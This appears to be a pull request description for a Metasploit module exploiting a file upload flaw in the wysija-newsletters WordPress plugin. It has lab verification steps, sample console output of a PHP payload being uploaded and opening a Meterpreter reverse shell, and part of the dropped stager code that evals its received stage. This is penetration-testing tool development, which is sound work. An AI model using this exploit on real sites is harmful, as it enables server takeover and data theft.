Wordpress - Added wysija file upload exploit

This exploits a PHP file upload vuln in the wysija-newsletters wordpress plugin. According to https://wordpress.org/plugins/wysija-newsletters/ there are currently 1,744,325 downloads of the plugin.

I managed to establish a connection to the uploaded script, but it looks like the PHP meterpreter is somehow broken (It hangs right after `Meterpreter session 1 opened`).
I tried to debug it, add some debug output and so on, but i didn't manage to find the error.

The script on the server is executed successfully, so I think the module should be good to go because it looks like a general php-meterpreter error to me.

### Verification Steps
 - [ ] Setup a Wordpress test machine: http://codex.wordpress.org/Installing_WordPress
 - [ ] Download vulnerable plugin: http://downloads.wordpress.org/plugin/wysija-newsletters.2.6.6.zip
 - [ ] Open Wordpress Admin Interface --> Plugins --> Add new --> Upload --> Upload the ZIP file
 - [ ] Activate the plugin
 - [ ] Verify the plugin has it's option dialog in the backend
 - [ ] Run the exploit
 - [ ] Watch `WWWROOT/wp-content/uploads/wysija/themes/` for the dropped shell

### Sample Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.134 TARGETURI=/wordpress/ E
[*] Initializing modules...
RHOST => 192.168.126.134
TARGETURI => /wordpress/
[*] Started reverse handler on 192.168.126.160:4444 
[*] 192.168.126.134:80 - Uploading payload to /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] 192.168.126.134:80 - Executing payload /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] Sending stage (39904 bytes) to 192.168.126.134
[*] Meterpreter session 1 opened (192.168.126.160:4444 -> 192.168.126.134:37456) at 2014-07-02 10:29:05 +0200
^C[-] Exploit failed: Interrupt 

meterpreter > 
```

On the server side:
```
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tree
.
└── rDHODUYZov
    ├── oVwdOQqPqI.php
    └── style.css

1 directory, 2 files
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tail rDHODUYZov/oVwdOQqPqI.php
        case 'stream': $b .= fread($s, $len-strlen($b)); break;
        case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
        }
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

```

cc @brandonprry
I think you can include the FileDropper class, and register the files that should be deleted automagically. There should be some modules in the tree that use this already.

Not sure if it works on directories well though...